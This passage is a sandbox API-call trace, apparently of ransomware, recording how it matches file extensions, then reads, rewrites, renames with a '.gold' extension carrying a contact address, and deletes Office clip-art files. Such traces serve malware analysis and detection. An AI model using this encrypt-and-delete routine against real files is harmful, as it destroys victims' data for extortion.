1 [0107.768] lstrlenW (lpString=".xlsx") returned 5 [0107.768] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.768] lstrlenW (lpString=".ppt") returned 4 [0107.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0107.768] lstrlenW (lpString=".zip") returned 4 [0107.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.768] lstrlenW (lpString=".rar") returned 4 [0107.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.768] lstrlenW (lpString=".bz2") returned 4 [0107.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.768] lstrlenW (lpString=".7z") returned 3 [0107.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0107.768] lstrlenW (lpString=".dbf") returned 4 [0107.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0107.768] lstrlenW (lpString=".1cd") returned 4 [0107.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0107.768] lstrlenW (lpString=".jpg") returned 4 [0107.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.768] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.768] lstrlenW (lpString="J0107426.WMF") returned 12 [0107.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.769] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=11492) returned 1 [0107.769] CloseHandle (hObject=0x180) returned 1 [0107.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 0x20 [0107.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.769] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.770] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.772] GetLastError () returned 0x0 [0107.772] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2ce4, lpOverlapped=0x0) returned 1 [0107.773] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0107.774] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.774] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.775] SetEndOfFile (hFile=0x364) returned 1 [0107.775] CloseHandle (hObject=0x364) returned 1 [0107.775] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.775] SetEndOfFile (hFile=0x180) returned 1 [0107.776] CloseHandle (hObject=0x180) returned 1 [0107.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 1 [0107.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0107.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0107.777] lstrlenW (lpString=".doc") returned 4 [0107.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.777] lstrlenW (lpString=".docx") returned 5 [0107.777] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0107.777] lstrlenW (lpString=".pdf") returned 4 [0107.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.777] lstrlenW (lpString=".xls") returned 4 [0107.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.777] lstrlenW (lpString=".xlsx") returned 5 [0107.777] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0107.777] lstrlenW (lpString=".ppt") returned 4 [0107.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0107.778] lstrlenW (lpString=".zip") returned 4 [0107.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.778] lstrlenW (lpString=".rar") returned 4 [0107.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString=".bz2") returned 4 [0107.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString=".7z") returned 3 [0107.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0107.778] lstrlenW (lpString=".dbf") returned 4 [0107.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0107.778] lstrlenW (lpString=".1cd") returned 4 [0107.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0107.778] lstrlenW (lpString=".jpg") returned 4 [0107.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0107.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0107.778] lstrlenW (lpString=".doc") returned 4 [0107.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString=".docx") returned 5 [0107.778] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0107.778] lstrlenW (lpString=".pdf") returned 4 [0107.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString=".xls") returned 4 [0107.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.778] lstrlenW (lpString=".xlsx") returned 5 [0107.778] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0107.778] lstrlenW (lpString=".ppt") returned 4 [0107.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0107.778] lstrlenW (lpString=".zip") returned 4 [0107.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.778] lstrlenW (lpString=".rar") returned 4 [0107.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString=".bz2") returned 4 [0107.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString=".7z") returned 3 [0107.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0107.778] lstrlenW (lpString=".dbf") returned 4 [0107.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0107.778] lstrlenW (lpString=".1cd") returned 4 [0107.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0107.778] lstrlenW (lpString=".jpg") returned 4 [0107.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.779] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.779] lstrlenW (lpString="J0107446.WMF") returned 12 [0107.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.780] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=30336) returned 1 [0107.780] CloseHandle (hObject=0x180) returned 1 [0107.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 0x20 [0107.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.780] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.781] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.781] GetLastError () returned 0x0 [0107.781] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x7680, lpOverlapped=0x0) returned 1 [0108.016] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x7690, lpOverlapped=0x0) returned 1 [0108.040] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.040] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.040] SetEndOfFile (hFile=0x364) returned 1 [0108.040] CloseHandle (hObject=0x364) returned 1 [0108.040] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.040] SetEndOfFile (hFile=0x180) returned 1 [0108.042] CloseHandle (hObject=0x180) returned 1 [0108.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 1 [0108.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0108.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0108.043] lstrlenW (lpString=".doc") returned 4 [0108.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.043] lstrlenW (lpString=".docx") returned 5 [0108.043] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0108.043] lstrlenW (lpString=".pdf") returned 4 [0108.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.043] lstrlenW (lpString=".xls") returned 4 [0108.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.043] lstrlenW (lpString=".xlsx") returned 5 [0108.043] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0108.043] lstrlenW (lpString=".ppt") returned 4 [0108.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0108.043] lstrlenW (lpString=".zip") returned 4 [0108.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.043] lstrlenW (lpString=".rar") returned 4 [0108.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.043] lstrlenW (lpString=".bz2") returned 4 [0108.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.043] lstrlenW (lpString=".7z") returned 3 [0108.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0108.043] lstrlenW (lpString=".dbf") returned 4 [0108.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0108.043] lstrlenW (lpString=".1cd") returned 4 [0108.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0108.044] lstrlenW (lpString=".jpg") returned 4 [0108.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0108.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0108.044] lstrlenW (lpString=".doc") returned 4 [0108.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.044] lstrlenW (lpString=".docx") returned 5 [0108.044] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0108.044] lstrlenW (lpString=".pdf") returned 4 [0108.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.044] lstrlenW (lpString=".xls") returned 4 [0108.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.044] lstrlenW (lpString=".xlsx") returned 5 [0108.044] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0108.044] lstrlenW (lpString=".ppt") returned 4 [0108.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0108.044] lstrlenW (lpString=".zip") returned 4 [0108.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.044] lstrlenW (lpString=".rar") returned 4 [0108.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.044] lstrlenW (lpString=".bz2") returned 4 [0108.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.044] lstrlenW (lpString=".7z") returned 3 [0108.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0108.044] lstrlenW (lpString=".dbf") returned 4 [0108.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0108.044] lstrlenW (lpString=".1cd") returned 4 [0108.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0108.044] lstrlenW (lpString=".jpg") returned 4 [0108.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.044] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.044] lstrlenW (lpString="J0107488.WMF") returned 12 [0108.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0108.073] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=8000) returned 1 [0108.073] CloseHandle (hObject=0x3b8) returned 1 [0108.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf")) returned 0x20 [0108.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0108.159] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.159] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0108.160] GetLastError () returned 0x0 [0108.160] ReadFile (in: hFile=0x19c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1f40, lpOverlapped=0x0) returned 1 [0108.225] WriteFile (in: hFile=0x3cc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1f50, lpOverlapped=0x0) returned 1 [0108.226] ReadFile (in: hFile=0x19c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.226] WriteFile (in: hFile=0x3cc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.226] SetEndOfFile (hFile=0x3cc) returned 1 [0108.226] CloseHandle (hObject=0x3cc) returned 1 [0108.226] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.226] SetEndOfFile (hFile=0x19c) returned 1 [0108.228] CloseHandle (hObject=0x19c) returned 1 [0108.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf")) returned 1 [0108.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0108.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0108.640] lstrlenW (lpString=".doc") returned 4 [0108.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.640] lstrlenW (lpString=".docx") returned 5 [0108.640] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.640] lstrlenW (lpString=".pdf") returned 4 [0108.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.640] lstrlenW (lpString=".xls") returned 4 [0108.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.640] lstrlenW (lpString=".xlsx") returned 5 [0108.640] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.640] lstrlenW (lpString=".ppt") returned 4 [0108.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0108.640] lstrlenW (lpString=".zip") returned 4 [0108.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.640] lstrlenW (lpString=".rar") returned 4 [0108.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.640] lstrlenW (lpString=".bz2") returned 4 [0108.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.640] lstrlenW (lpString=".7z") returned 3 [0108.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0108.640] lstrlenW (lpString=".dbf") returned 4 [0108.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0108.640] lstrlenW (lpString=".1cd") returned 4 [0108.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0108.640] lstrlenW (lpString=".jpg") returned 4 [0108.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0108.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0108.640] lstrlenW (lpString=".doc") returned 4 [0108.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.640] lstrlenW (lpString=".docx") returned 5 [0108.640] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.640] lstrlenW (lpString=".pdf") returned 4 [0108.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.640] lstrlenW (lpString=".xls") returned 4 [0108.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.641] lstrlenW (lpString=".xlsx") returned 5 [0108.641] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.641] lstrlenW (lpString=".ppt") returned 4 [0108.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0108.641] lstrlenW (lpString=".zip") returned 4 [0108.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.641] lstrlenW (lpString=".rar") returned 4 [0108.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.641] lstrlenW (lpString=".bz2") returned 4 [0108.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.641] lstrlenW (lpString=".7z") returned 3 [0108.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.641] lstrlenW (lpString="C:\\Program 